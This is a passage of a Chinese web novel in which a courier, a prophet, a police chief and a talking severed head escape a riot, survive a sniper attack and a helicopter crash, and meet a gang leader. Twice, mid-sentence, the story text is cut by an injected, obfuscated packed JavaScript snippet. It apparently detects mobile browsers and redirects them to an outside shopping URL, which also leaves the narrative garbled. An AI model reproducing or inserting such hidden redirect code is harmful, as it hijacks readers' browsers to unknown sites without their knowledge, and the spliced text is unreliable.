“你也会害怕哦。”小象低头,“早知道就不发——” “居然坚持到了最后,何等骑士精神。”小四装模作样地吸了吸鼻子,“我都要为之落泪了…” “…真的?”小象怀疑。 “不要听信她的话。”小二说。 “喂我关心粉丝怎么了?你难道没有粉丝吗?”小四不满地说,又恍然大悟道,“对哦,你确实没有。” 小二没回答她,倒是小一转过头来郑重地说,“有的哦,毕竟小二是我们协会的‘得力干将’嘛!” “…真的?”小四怀疑。 “可,可能吧。”小二小声说。 “今年超能力者维和表彰会可是有提名小二的!”小一扶了扶眼镜说,反光一闪而过。 “哇那个装模作样的狗屁仪式。”小四干呕了一声,“要踩上颁奖台我都得提前去买双便宜的鞋。” “你们能不能别聊了而是想想办法?!”车外的小三忍无可忍道,“车里的谁能出来帮把手的?别看别人了,就你!” “…我吗?抱歉,我得待在这。”小二回过神,为难道。 那跌落在地者的惨相让车外狂热的呼喊稍稍停顿,但也就一瞬间,更多人便充满反抗精神地呼喊着围了上来,目的不再是车门,而是整个车身。小三用喇叭播报的驱逐令反倒成了某种激励音乐,甚至有骑着摩托的拧紧油门径直往车上撞,听车身与车下惨叫,小象猜对方肯定压到地上那个人了。 “…好想就这样晕过去。”勉强避开摩托车撞击的小三如是说。 49. 陷落都市与超能力-上-3 狂乱之中,警棍挥舞着残影赶开那些意图靠近的人,远处终于传来警笛声,但那些警车也堵在外面了。车内,小一正握着手机发消息,她表情轻松,一副在状态之外的样子,小二依然在原地静坐不动,丝毫没打算下车帮忙。 小象艰难地清理了身上那些危险垃圾,小心翼翼地解开安全带,抱着小四的头坐在小二边上,她侧头向外观察间,右耳捕捉到了人声。 “这样的热情正常人可招架不住。”小四轻声说道,“我有办法让她们安静些,毕竟每次演出我都不得让尖叫的人先消停一会,才能让大家有足够的精力爱上我。” “…你有办法?”小象总觉得对方在憋坏点子。 “哦当然,而且我也不想让自己落到她们手里,小象。”小四夹起嗓子说,“你想想,我可是最知道我的粉丝有多恐怖的呢。” “…什么办法?”小象问。 “把我的吉它拿出来,然后,用那根我让你带上的线把我们连起来,让我再次变得完整,像个巨星那样闪闪发光吧。”她的声音低沉暗哑,有着奇异的吸引力,哪怕夹杂在一片嘈杂中也难以忽视。 “你要弹吉它?”小象意识到了对方的意图,“那不行,我们就是因为这件事才逮捕你的。” “但现在你也没有别的办法了不是吗?看清形式吧小象,没有别的路可以走了,你只能相信我,相信我的艺术。”小四劝诱道,“来吧,让我用我的艺术征服外面那群渴求的食客,她们会自愿去排队的。” “不要听她的。”小二开口道。 “…你又凭什么来拦着我呢?小二,你才是最该站在我身边的人吧,你凭什么坐在那里像事不关己似的。”小四问道,她藏在网格包里的脸神色不清,但语气却显然是带着怨气的。 “不要听她的。”小二只是重复。 “不听我的那你们就全都去死。”小四直言,“那个警察也去死小一也去死送货员你可以抱着我我们一起死小二你就挣扎一会吧但你总会死的——” 近距离听着,小象觉得自己抱着一台诅咒散播机。 “该死的!”小三再一次被逼退到了车边,她注意到远方无法靠近的支援队,又听见车内那念咒一般的诅咒声,回头一看车上的人一个玩手机一个没战斗力一个看着像在发呆,一时只觉得万事休矣。 “诶呀,警长受伤了!来用这个擦擦。”小一连忙从裤子口袋里摸出手帕。 “…留着等我死了盖我脸上。”小三没回头,又架开一根劈头打来的钢管,反腿将来者横甩出去。 “怎么会呢?”小一笑着摆了摆手,“您的死期并不在今天呀?” “哦那我们是要怎么活下去呢我的大预言家?”小三没好气道。 闻言,小四倒是眼睛一亮,“当然是靠我——” 地面忽然震动了起来。 “我找人帮忙了!说明了情况之后她们说很快就会到。”小一说着声音又不好意思了起来,“就是公共设施维修…又要市政府破费了。” 以警车为圆心,周遭一切地面上方物品都缓缓漂浮了起来,无论是人还是车还是消防水龙头,甚至部分与人挨得近的建筑墙面,统统反重力浮空。场面宛如太空体验馆,那些狂热粉丝也如被丢入真空中一般失了声,小三很快反应过来,翻身上车挂档,等待真空区高度足够车俩通行,手刹一放一踩油门将车冲了出去。 小象在极致的推背感中勉强摸回原座系上安全带,她抽空抬头,先前在地面上扎堆时数量多到吓人的拥堵者都漂浮着,这是她第一次这样直观地看到那么多车型的底部,她看见还有人抽空朝她们丢易拉罐,但罐身触及地上三米处又缓缓浮了回去。 “帮忙的不是你们协会的人吧。”小三紧盯前方问道,“她们不插手先前的事,自然也不会来这帮忙。” “嗯,毕竟超能力者总不能只有我们这儿才有,也有不想加入‘学会’的人嘛。”小一回答着,依旧一副状态外的神情感慨道,“有点像在水族馆的海底隧道…” “确实!”小象这才想起那即视感是什么,“好神奇啊,这是什么?也是超能力吗?” “有点不同,总之也是超自然能力的一种。”小一回答。 “想要合照吗?游客?”小三还抽空从后视镜看了小象一眼。 “可惜来不及了。”小象说着看向车后方,由于车窗碎裂,她想关窗都做不到,风吹得她有点冷。 随着几人离开内城海底观光区,那悬浮着的一切又缓缓落回了地面上,一些人尝试追上她们几个,但小三没给那些人机会,弯起方向盘让车甩尾过弯上高速,随着车速爬上一百,后方的一切都逐渐恢复了平静。 “哈哈哈——”小三得意地笑了,这才有空给自己系上安全带,很快她又恢复表情清了清嗓子,对车后座的小四嘲讽道,“真是不好意思啊打扰了您的演出大计,小四大人只能在监狱里对着铁栅栏弹吉它喽!” “哼。”小四没有丝毫挫败感,“你该感到愧疚,无法知晓艺术的重要性的愚蠢之人啊。” 这句话成功让小三心情迅速下降,她不再说话专心开车。 “艺术才不会就这样消失!我也绝不会就这样放弃!”小四倒是完全没有停嘴的打算,“即使到了地狱深处我也会继续演奏的,等地下的魔鬼都成了我的粉丝你们这群无知人类就完蛋了!” “不要啊…”小一悲伤道,“那个监狱也没那么深吧,地狱什么的…” “或许这是一种比喻。”小象猜测。 “哪怕是真的地狱我也有那样的自信。”小四笃定道,“因为摇滚不死——” 总之,在小三的多次变道与超车之后,她们迅速抵达了机场,一路上再没遇到任何像样的阻碍,除了进机场过安检时差点被安保拦住,好在小三虽然看着狼狈,但她的证件完好无损。 直到四人一头一吉它从特殊通道抵达出发厅,小象这才意识到,她这就要离开这座城市了。 “我还是觉得其实并不需要一个护卫。”小象背着包说,“除了刚才那会还挺惊险的吧。” “我会跟着你上离开城市,进入监狱,直到她的关押手续完成。”小二说道。 “…你就这么不放心我?”小四嘲讽道,“我死半路上不正和你意吗你这——” “不可以这样说。”小一绕到小象身后,看着小四认真道,“小二只是看着无动于衷而已,你这样说她会伤心的。” 小二对这段话依旧无动于衷,小象想起对方之前还说小四“身体不好”,好吧,虽然确实不太健康就是了。 “…那你没预见过我的心情吗?”小四问道,“而且到头来你也什么都捞不着了不是吗?协会里没人支持你吧,就剩这个听什么就做什么的家伙陪你闹这一出,何必呢?” “哼哼。”小一反而笑了。 “…你笑什么?”小四问。 “想到了开心的事情。”小一回答。 “所以那是什么?”小四追问,“朋友?笑话?我的下场?” 小一没有回答。 几人等在候机厅,只待那直升机准备就绪便可以登机离开了。期间小一不时拿着手机发消息,小二静坐,小三在周围走来走去接打电话解释方才的遭遇,小四则一直在骚扰小象叫她把吉它给接上好让候机的各位不至于无聊至死。 “不要听她的。”小二说。 “…我不会的。”小象回答,又好奇道,“你一直跟着我,是因为一会还会有什么危险吗?” “可能。”小二回答,“在小一的预言中,我一直跟着你们,所以我要完成她的预言。” “原来如此…”小象疑惑,“如果你不跟着会怎么样?” “…预言会破灭。”小二说。 “然后,我的预言就会失效。”小一自己凑过来回答了问题,“很麻烦吧?明明是超验得来的信息却必须要遵循经验才能确保结果。” “居然是这样。”小象有些惊讶,“没有容错率吗?” “有一点点。”小一捏出两三毫米的宽度,“大概就是‘倒车时要撞上柱子’的那一点点看不见的距离,只能靠我的感觉。” 超能力,其使用方式,效果,所消耗的能量之类的种种信息仅有超能力者本人知道,而这种“知道”无法还原为任何形式的经验,也就是说超能力无法被传授;在使用能力之前或同时,超能力者已经“知道”其尝试的后果,同样,它也是被直接给予的;超能力的使用伴随某种形式的消耗,它的程度,时限,恢复方式同样只有其本人知晓。综上所述,关于超能力者的研究中,第一人称报告是唯一可能的证据类型。我们只能理解经验,而超能力的运作则是内在的,并不属于这个世界。 以上内容节选自约五年前发表的【超验能力现象学探索——论超能力的使用以及其认知界限】,作者就是眼前的小一。而十年前她的另一篇【超验能力的激活机制研究】则明确表明:超能力无法移植,先天超能力者极少,因后天行为获得超能力的人都有一定程度上的精神问题,本质是因为她们的意识被能力占用了一部分。 以上,以及更多的超能力作者超能力相关论文都以KPA的名号发表,因而可信度极高,同时这也令它坐稳了“学会”的头衔,而不是“民间武装危险份子”。 “好吧。”小象云里雾里地接受了这个答案,她并非超能力者,她的同事里倒是有些,但与她交流也不多。 “你在别的地方也见不到这么大动静的超能力行动吧。”小三结束通话,疲惫地瘫坐在椅子上摘下警帽盖在脸上,“听说有的国家明令禁止超能力使用,将人当犯罪预备役看,所以大多数超能力者都会尽可能地往这跑,人都喜欢抱团取暖。” “没错,所以朋友很重要的。”小一连连点头。 “那你有普通人朋友吗?”小象好奇道。 “小三就是!”小一毫不犹豫地说。 “咳咳。”小三倒是不好意思了起来,“合作伙伴也是伙伴嘛…” “我有时候会预见‘身边多出了新的人’这样的画面,然后我就知道我要有新的朋友了,很有趣哦。”小一炫耀道。 “哇…”小象相当好奇,“那是种什么样的感觉?” “嗯…我命中注定的朋友我来抓你了,这样的感觉?”小一比划道。 小象笑了起来。 “不,那绝对是命运的诅咒吧。”小四毫不留情地打破了友好氛围,“命中注定的朋友?你不觉得那是上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296769|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天派来监视你的人吗?” “你看。”小三指着猫包对小象说,“所以有的超能力者朋友很多,有的超能力者只能去坐牢,这就是差距。” “…你懂什么,我又没说那不好,悲剧命运也是艺术的一种!”小四不服气道,又哼唱了起来,“命运,命运,我的命运,我的宿敌,我的爱人——” 小象觉得自己抱着一台收音机,音质还不错的那种。 “那你接受自己坐牢的命运了没?”小三问道。 “…奇怪了…”小四喃喃自语,“条子这种生物不是最喜欢搞抗争命运那一套了吗?难不成这是变异生物?” “我听得到!”小三抬起帽子郑重强调。 登机时间到,几人沿长廊来到停机坪,八叶直升机已发出巨大的轰鸣噪音以表示欢迎,小三看着小象与小二上飞机后就接着电话匆忙离开了,小一还没走,她在停机坪上站着,说要送别她们。 “要好好吃饭,好好生活啊!”她尽力让自己的声音传达到几人耳边,小象把猫包抬起放在窗边说,“她和你说话呢。” “那种屁话,当我听不见就行。”小四相当无所谓,“赶紧把我放好,别一会起飞给摔了,我还指望这脑子再写个十几首歌呢。” 座位对面,小二依旧垂首坐着,不看窗外也不道别。 “不和小一道个别吗?”小象问,又说,“也是,你们过不了多久就要再见面了。” 闻言,小二却是抬起头看向窗外,小一见状手挥得更快了,小二尝试性地抬起手,挥了挥。 小一张嘴,她笑着说了些什么,但她的语句被越发吵嚷的直升机噪音掩盖,小象不得不戴上耳机,顺便给小四也带了一副。 脚下晃动,直升机要起飞了。 就要离开这传说中的超危险地区了,虽然说有些波斩,但也没想象中的那样危险嘛,就在小象这样想着的时候—— 小一的头部忽然就消失了。 不,那并非是某种超能力造成的结果,若仔细看便能找到原因,看她被冲击带着倒地的身体,看碎在地上像血一样的红框眼镜,看飞溅四周的血肉痕迹,看地面上的焦痕,那是瞄准头部的狙击。 地面上,那滩逐渐扩散开的血迹越来越小,越来越远了,小象忽然感觉眼角处有什么东西一闪,她慌忙远离窗户,下一瞬间,直升机机身巨震,起飞时本就不太稳定的飞机瞬间开始打转。 “起落架受损!注意!起落架受损!”耳机中传来了这样的播报。 小象下意识地看向小二,但她没看窗外,只是扶着耳机用命令的语气道,“继续飞行,尽快离开机场区域飞向东部海面,重复,尽快离开机场区域飞向东部海面。” 她一定知道什么,但现在并不是个很好的问话时机,因为狙击并没有就此打住,机身再次一晃,小象抱紧猫包与箱子随时准备跳机,但这种情况下跳机不就是送命吗? “准备好降落伞,一会我说跳就跳,下方有船接应。”小二说,“包给我背,那个人的目标是她,我们稍后再见。” “…那个人是谁?”小象问。 “发生了什么?”小四也问,“怎么回事?狙击手?我还有这么厉害的粉丝?” 她这样问着被小二接过背上,这才勉强看清窗外那一闪而过的火花,随即机身再次巨震,直升机出现明显的偏移让人难以站稳,小二起身拉开舱门,狂风之中,她直直地盯着窗外,她看着的是海。 “…发生什么事了?”小四再次提问,她看见远处起飞机场聚集的人群,人聚集的地方从没好事发生过。 “跳!”小二吼道,随即扯过小象的胳膊将她推出机舱,显然没有给她任何犹豫或拒绝的权利。 小象虽然做好了准备但依旧吓了一跳,跳伞不是第一次,但从即将坠毁的直升机上被推出并冒着被狙击的风险跳伞这确实是第一次,她的心脏在失重与紧张中狂跳,风刮得她看不清任何东西,耳机早就飞走了,现在她与坠落感保持零距离。 其实她没做好准备的,就像上一次,她恍惚之中这样想道,上一次,她也没能准备好。 坠落,当她意识到自己正在坠落时,仿佛梦醒一般,大脑在一瞬间意识到了自己的处境与不得不进行的行为,她尽全力纠正自己的姿势,随后,在越来越近的海面之上拉动伞绳—— 巨大的轰鸣声爆炸在耳边,小象还以为自己被击中了,但随即而来的巨力将她整个向上拔起,她停止下坠,开始降落。 海面越来越近,头顶橙红色降落伞上方又传来几次爆炸般的响声,不知是狙击还是降落伞被撑开,匆忙控制方向间小象听见一声长长的尖啸如流星般坠入大海,她低头,正巧看见没入海中的小二与她背上的猫包,她竟是直接跳了海。 万一小四的头没了只剩吉它能不能交差?小象这样想着时突觉平衡感惊喜失灵,降落速度也骤然加快,而脚下距离海面还剩少说二十米距离。她顿感不妙,抬头一看,那伞面竟是不知何时破开了一处太阳般的透天大洞,来不及思考原因,她看着越来越近的大海,咬牙在坠海之前脱去了降落伞装备,任由自己一头闯入鱼的领地。 然后她才想起自己身上还挂着个箱子,同时,她游泳技术相当一般。 50. 陷落都市与超能力-中-1 坠入海中的感觉是痛而温暖的,这里没有狂风或忽然炸响在耳边的东西,但同样不适合人类待着,张开嘴,咸水涌入口腔,睁开眼,海水刺激眼角膜。黑暗深处藏着人不该碰见的东西,不挣扎便会下沉,挣扎沉得更快。 小象艰难地眯起眼睛尝试上游,她看见了水面上的阴影,那会是船或者任何漂浮于水面上的东西,总之抓住它便能再次呼吸。放松,调整位置,划动手脚,好—— 一抹阴影叠加在了那水面的阴影之下,灵活而过于庞大,那不是近海会出现的任何一种鱼,那是一个人,一个带着武器的人。那不是小二,也不是“接应者”,小象在看见对方发现自己时的动作便确信了这一点,她看见对方手里的东西,也看见了对方瞄准的动作。 那个人绝对想杀了我。 小象果断抬手启动耳边的发信器,随着对自己身体的掌控力巨幅提升,她在水中侧身,险险避开激起水中涡流的渔枪,并迅速翻身往远处游去。袭击者观望片刻没有选择跟上,往另一处游去了。 不知为何,小象与同事比较之后发现了一个事实:法庭在她体内植入的芯片对她效果尤其显著,比起其它执行者而言效果提高至少一倍有余。即使如此小象主动启动发信器的次数也屈指可数,一来效果提高也意味着时间结束后肌肉代偿反应提高,二来,它有一点小小的副作用。 游动速度加快也催动身体对氧气的渴求,好在现在小象不再需要任何浮板便可在水面上停留。上浮,靠近光线,避开水面垃圾,破开水面,小象终于得以再次呼吸,喘气间她又呛了几口海水,呼吸道灼烧的感觉着实不怎么样,好在她在换气的同时看见了不远处的小型船只,船头上的人正是小二。 未等她主动爬上船,小二便伸手将她拎出了水面并吩咐开船,小象出水第一件事就是关上发信器,随即才放下手里的箱子去确认小四的状态,猫包没有动静,但头颅确实还在喘气。 随着胳膊与手臂开始酸痛,额外的副作用也不甘落后地浮现,小象的指尖开始颤抖了起来,这是副作用的征兆。 得先告诉小二自己刚才在水下的遭遇,小象在心里这样盘算着,身体动起来时顺序却变了样——她一把拽住小二的领子,沉声质问道,“怎么回事?” 副作用是前额叶功能小幅混乱,就外在表现来说,它会使小象变得非常容易生气。 见状,小二只是平静地回应道,“我之后会解释的。” 但小象现在根本无法接受这个答案,她压抑着想掏刀子捅人的冲动,怒道,“没有之后,就现在,给我说。” 小二有些疑惑眼前的人为何忽然就性情大变了,“…不行,现在解释的话会——” “给我说。”小象重复,她手指颤抖得越来越厉害了,只能尽量完整地表达自己的意思,“如果你不说,我就无法平静下来,就可能会在你背对我时忍不住对动手…所以,说。” “…我明白了你先松开我。”小二说。 闻言,小象深呼吸着松开手退后一步,将手指捏握成拳,这种全身上下哪都痛但又忍不住想把周围一切都踩碎的感受实在是令人窒息。她在船边坐下,垂下上半身,把头交给贯彻温度的海风,好让自己的情绪远离自己的身体。 “…这也是预言的一部分。”小二皱眉退开,坐在了船边缓缓开口,“预言的内容知情者越少出现差错的可能性就越低,只能一步步来。目的确实是将小四送入监狱,这点不需要怀疑。” 这就是答案了,和想象中的差不多,也该满足了吧?小象这样想着,却发现手中颤抖更剧烈了,连带着肩膀也一同颤抖了起来,她松开手,掌心被掐出的血痕混着海水疼得让人更加暴躁。 “凭什么?!”她都不知是在向谁质问,“那家伙也就算了,你凭什么试图控制我?!” “…我不知道。”小二只能勉强回答道,她谨慎地问,“你…怎么了?” 其实也没什么,小象在心里还是能普普通通地这样接受信息并思考的,比如现在,她知道自己想了解小一的死亡原因,但意念流进大脑,过了一遍筛子再说出口就不太一样了。 “凭什么不让我知道?!啊?!”小象又起身拎起小二的领子质问,“那家伙是谁?!那个!开枪的那个!” “冷,冷静一下。”小二留下了冷汗,“你——” “冷静?!”小象的额头几乎烧了起来,“回答我的问题或者去死!!凭什么叫我冷静?!” “…嚯。”小四直接被吼醒了,她颈部底端转动着带她离开了猫包,见到船上情形,她不由得感慨,“现在的年轻人情绪变化真大。” 新的发声源转移了小象的注意,她眼球先动,锁定地上的小四之后头部扭转过去,随后放开手里的衣领,转为将地上的头捏起。 “…你好?”小四感受着面部皮肤传来的振动触感反馈,眼前实现被手掌盖住,什么都看不清。 吵死了,扔出去,小象这样想的,她也这样做了。 “等一下——”小四在半空中这样呼喊道。 待小二游出去将小四的头再次带回时,小象已经冷静了下来,至少她不再会因为一时的冲动而想把人推下船了。 “…对不起。”她也老老实实道歉了。 “强迫我一天之内下海两次,你们两个可真是好样的。”小四咧着嘴说,她脸上原先的烟熏妆已经一点不剩了,现在立在船头吹风的就只是一颗普普通通的老人头,不过声音挺好听。 听她这样说,小象心里莫名又烦躁了起来,她压下心里的怒火,用尽量礼貌的语气问道,“那你还想怎么样?” “这就是你道歉的态度?”小四当然不满意,“说完对不起之后就结束了?这句话到底是值多少钱啊能买来那么多的水军,你肯定还在不服气吧小不点,我和你说你——” 眼见小象又把拳头捏紧了,小二连忙起身坐在二人中间开口道,“先来谈谈刚才的问题吧。” “…行。”小象又把气憋了回去。 “那是一个专门猎杀超能力者的秘密暗杀组织,自称‘飞鸽疯人院’,其中成员以历史修正主义者自称。”小二缓缓解释道,“因为陷落都市的超能力者更多,她们在这里出没的次数也更多。” 这秘密组织小象还真知道,其全体成员都在道德法庭的追查名单上,和部分邪教徒和反社会罪犯一个待遇。 “…这次她们的目标是谁?”小象问道。 “小一,以及…”小二看向那颗头颅,“她。” 闻言,小四沉默许久后才开口道,“所以,刚才是她死了。” “…对。”小二回答,“这也是她预言的一部分。” 若是她现在还有一双手能捏一捏眉心就好了,但现在小四只有一颗头,那抽动的肌肉便也无从掩饰,海风吹乱她的头发,她也没手去整理了。过了很久之后,她从沉默中回归,只是叹了口气。 “而这次动手的人是疯人院的顶级暗杀者之一,小五。这个组织内的成员没有超能力,但会使用一些超出时代的科技产品。”小二取出一张模糊照片,动态照片中人物无关细节不清,只有神态到位,就这一眼小象就能确认这人就是刚才在海中逼她启动发信器的人。 “就是这家伙…”她盯着照片说道,“就是她,刚才我在海里遇到她,她朝我开枪,失败后就离开了。” “…朝你开枪但失败了?”小四疑惑,“你看上去也没那么灵活啊小不点,难不成你是那种在水里——” “闭嘴吧。”小象不耐烦地捏住了眉心,“别逼我再把你丢出去一次,请。” “总,总之。”小二赶在小四开口骂人之前带来新的话题,“她现在没有追击我们是因为现在我们位处于都市东部港口,有人监管,但不排除她在暗处动手的可能。我们得想办法避开她的追击协定下一步行动。” 任务难度骤然拔高,小象内心又烦躁了起来。若说正面袭击还有小二可以对抗,暗杀根本防不了,现在她们只能尽快将事情搞定,无论是搞定小五还是搞定小四。 “…说起来,确实有这么一个组织来着。”小四这才勉强跟上话题,“但我记得她们只对天然超能力者动手,我不算在奖池里吧。” “这和你要做的事情有关。”小二说。 “…我为亲爱的粉丝们唱首歌怎么了?”小四疑惑。 “我不知道。”小二摇头。 “…哇好没用。”小四嫌弃道,又看向小象问道,“我的吉它你还好好带着吗?” 小象敲了敲身旁的箱子。 “打开让我确认一下。”小四说。 思考中,小象连说“不要”的力气都没有,便无视了这句话。 “…打开,我得确认一下自己的身体也没有被损坏。”小四不满地看向小二,“你,去把箱子打开让我看看。” 闻言小二还真的照做了,她伸手要开箱,却被小象压住。 “别碰我的箱子。”她说。 “那里面可是我的吉它,我的身体,我的艺术品!”小四强调说,“你这人要发脾气到什么时候?这件事与你的任务有关,再说一遍,打开它让我确认一下吉它的现状。” 小象这才勉为其难地开箱,那被布包裹着的吉它与先前没什么不同,甚至依旧时不时颤动一下,像还活着一样。小四凑近看了片刻,随后看向小象说,“现在把我们连——” 小象毫不留情地合拢了箱子,开口道,“打电话给小三问问是怎么回事,她们不是朋友吗?” 船上沉默片刻,小象抬头发现没人动手,问道,“你们想让我和她说话?” 小二顿了顿,拿出手机,却又没了下一步动作,不知为何,小象看见她这幅样子就有点生气。 “…行了没用的年轻人们,打电话开免提,我来说。”小四说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296770|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了两次后才接通电话,小三语气比起船上三人加起来都急迫得多,她那头背景音充斥着谈话与电话通知音,显然整个警局都在加急工作中。 “怎么我刚走就出事了?!”她问道,“小一,她知道自己要出事吗?你们现在在哪?那直升机驾驶员在海面上被找到了,你们人呢?!” “行了一个一个来。”小四不紧不慢地开口,“我们——” “怎么说话的人是你?!”小三更急了,“你把她们几个怎么样了?” 小四嘴角一咧就要说些有的没的,但眼角瞥见小象正盯着她,为自己的头部健康着想,她如实道,“两个人都在边上,一个脑子出问题了一个脑子本来就有问题,现在就我能和你正常沟通,爱听不听。” “…行吧。”小三无奈地接受了现状。 “总之,你刚走就有新大事件出现纯属你倒霉,按照那脑子有毛病的说法,小一确实知道自己今天就要死,我们现在位处东部港口的码头附近,那个叫疯人院的暗杀组织派出个叫小五的要杀我和小一,你知道多少?”小四一口气说完以上全数内容,肺活量惊人,虽然她现在已经没有那种器官了。 小三沉默片刻,扬声器传出她吐烟的声音,过了会她开口道,“我记得那个组织,她们只对天生超能力者动手。” “过时信息。”小四评价。 “你不是。”小三开口。 “要你提醒?”小四问。 “…但你却是目标。”小三喃喃道。 “你在嘲讽我吗?”小四冷笑。 “…你能不能别打扰我思考。”小三忍不住说,她再次让尼古丁过肺,说道,“如果说对方追杀你的动机和你被逮捕的原因有关,那她一定也预言到了这一点,你那演唱会恐怕不仅仅会引发踩踏事故,还有些别的什么,那才是小五将你视为目标的原因。” “…什么原因?”小四追问。 “她们既然要杀天然超能力者,也一定会杀能‘引起超能力觉醒’的人。”小三说,“老东西,你是后者。” “…我还有这能耐?”小四面孔上浮现十分惊讶。 “那群人不是号称能看到‘原初的真实世界’吗?说不定在人家的世界里你早就因为你那些莫名其妙的艺术死路边了,看你还在蹦跶这就来修正你了呗。”小三嗤笑。 “我其实能理解。”小四叹了口气。 “…什么?”小三问。 “艺术不就是这种,无法被理解便会被视为异端的存在吗?”小四看向远方船只队伍与靠近的快艇,感慨道,“为艺术献身,不就是如此。” “喂,那边有别人在吗?”小三呼叫道,“换个人,我申请换个人和我对话!” 小象捏起手机,深呼吸,问道,“你们什么时候能把那个叫小五的抓起来枪毙?执法者。” “…我倒是也想。”小三说着,又问道,“你是…跳海把脑子砸坏了?” 小象又想把手机扔海里去了,但这是小二的东西,她再次深呼吸,问道,“安排新的运输要一段时间,你们能想办法解决一下我们在这期间的安全问题吗?” “诶!”小四有了新主意,“其实可以让我试试用我都艺术征服——” “我想想…现在警局哪里人手都不太足,小一被当众狙击,直升机坠毁,再加上之前内城区的暴动…”小三说着说着就收到了新的工作消息,一时必须分神思考两边的问题。 “之前小一找来帮忙的朋友,不能拜托一下她们吗?”小象问道。 “…先前能说动她们大概是因为事关社会安全,现在,她们恐怕不会保护一个罪犯。”小三抽空回答。 “能不能把她先关你们警局?” “你觉得这里就能安全到哪儿去?” “你们就拿那个暗杀组织没办法吗?” “事关超能力者的条例都很模糊。” “那她们杀的就不是人了?” “…我又怎么会不知道…”小三也烦躁了起来,“别逮着我问了送货的,要是你不插手的话哪来这么多事?现在它是你的任务,你的责任,你-的!你明白吗?” 或许是副作用还未结束,小象借着翻涌的情绪确定,她真的很不喜欢被提及“责任”这个东西。 “去联络你自己的上司,同事,或者其它的什么人来帮忙。你难道没遇到过类似的情况?你以前工作遇到问题也会逮着外部人员问‘你能不能解决我的问题’?你是哪国人啊还有——” 小三没能把话说完,因为小象把手机丢出去了,至少这次没往海里丢,船靠岸,手机在登船口附近翻滚几圈停下,被跳上登船口的小二捡了起来。 这里便是陷落城市东部港口,从船上往城市区域看,层层叠叠的彩色集装箱与远处的工厂像是叠在一起立在山上一样。 总之,她们又回到了这座城市,在短暂地尝试逃离之后。 51. 陷落都市与超能力-中-2 “所以说就该由我来负责发言的。”小四笑道,“瞧瞧你,都说与警察沟通时情绪化是大忌,你倒是直接把沟通给断了——” 小象没有回答她滔滔不绝的话,起身拿起猫包甩了甩,速干材料制成的容器吹了会儿海风后至少不再滴水了,但除去考虑货物包装外她自己也得换身衣服,海水黏在衣服上时像是某种有害化学物,令皮肤发痛发痒。 换衣服的地方倒是不难找,去道德法庭设立在这里的补给处就可以,问题在于另外两人——补给处不允许外部人员进入,有人带着也进不去,激光武器可不会给小象介绍两人身份的时间。 等等,小象忽然意识到了一件事,她看向箱子和猫包,或许,小四现在不会被算进陌生访客里呢? “小一的预言还剩什么?”她看向小二问道。 “一直到她被送进监狱之后。”小二说,“按照预言,接应的人很快就会来找我们了。” “…那是谁?”小象问。 “本地一个帮派组织,也是监管港口的人。”小二解释说,“我们需要帮她们解决一件事,她们就会派出人手护送我们离开,然后——” “停。”小象打断,“像这样‘为了达成目标而不得不绕弯路’的事情,在她的预言中还有几次?” “…三次。”小二回答,“这次,离开前一次,在进入监狱前一次。” “哇哦。”小四夸张地感慨道,“这么大排场,说不定舍不得我离开的其实是这个世界?” 小二没有理会她的话,继续道,“过程中遇到的问题我都会解决。” “…刚才我在水下遇袭的部分她也预见了?”小象问。 小二顿住,低下头说,“抱歉,这部分我们确实不知情,预言只是告知了我们结果…” 而达成结果所需的过程步骤则需要预言中人自己努力,小象理解了这部分,总觉得想笑。 “…毕竟她们这种天然超能力者都迷信自己的能力,把自己的能力视作绝对正确的东西。”小四哼了声,“说什么人工获得能力会被占去意识,天然的不才是彻底没救的那部分吗?” 小象低下头思索片刻,理智告诉她接受预言就好,三次而已,或许她们确实命中注定还要遇见些新的角色来完成这次的任务,完成任务,那不就足够了吗? “…三次。”她喃喃自语。 “三次。”小二点头。 “三次,都会遇到不同的人?”小象问。 “…是的。”小二回答。 “怎么了?”小四问道,“难不成你还有社交恐惧症?这可不行啊,作为送货员可是要和一大堆人打交道的,万一那其中有我这样的人你不就损失惨重了?” 就在小象开口准备说些什么,远处一辆黑色轿车快速逼近并急停在二人身前,司机下车开门,后座踩出一只气势十足的黑色亮皮鞋,随后它气势十足的主人也闪亮登场。 “事情我都知道了。”来者语气是漫不经心的嚣张,她反手从脑后扬起那同样气势十足的卷发,随后笑道,“废话不多说,我是小六,你们脚下踩着的地方属于我们家族监管范围,来做一笔交易吧,超能力者。” 说话间,后方又停下两辆差不多的车。 “预言所指向的道路,是唯一的途径吗?”小象问道。 “…并不是。”小二回答,“但是没有风险。” 小六走近二人,转动眼珠子打量了一番小二与小象,最后视线定格在小四头颅所在的猫包,笑着开口道,“放心吧,并不是什么——” “我拒绝。”小象说。 小六的笑容还没咧开到其应有的弧度,便唐突地转向,她也沉下声音问道,“…不先把内容听完再考虑?” 听到这句话最惊讶的人反而是小二,她的脸上第一次露出像个表情的表情,她看向小象再看向小六,慌忙开口道,“不是的,我们——” “无论那是什么,我拒绝。”小象重复。 “嚯。”小四发出感慨的声音,“我也喜欢说这句话来着,你不会是我的粉丝吧?” 小二彻底陷入了茫然,她完全没想过会有这种状况出现,就连问一句“为什么”都没能做到。 小六的反应倒是很快,她嗤笑一声问道,“看来你是个外地人,听说过我们家族没?” “没有。”小象回答。 “那你为什么——” “你是小六,对吧?”小象问。 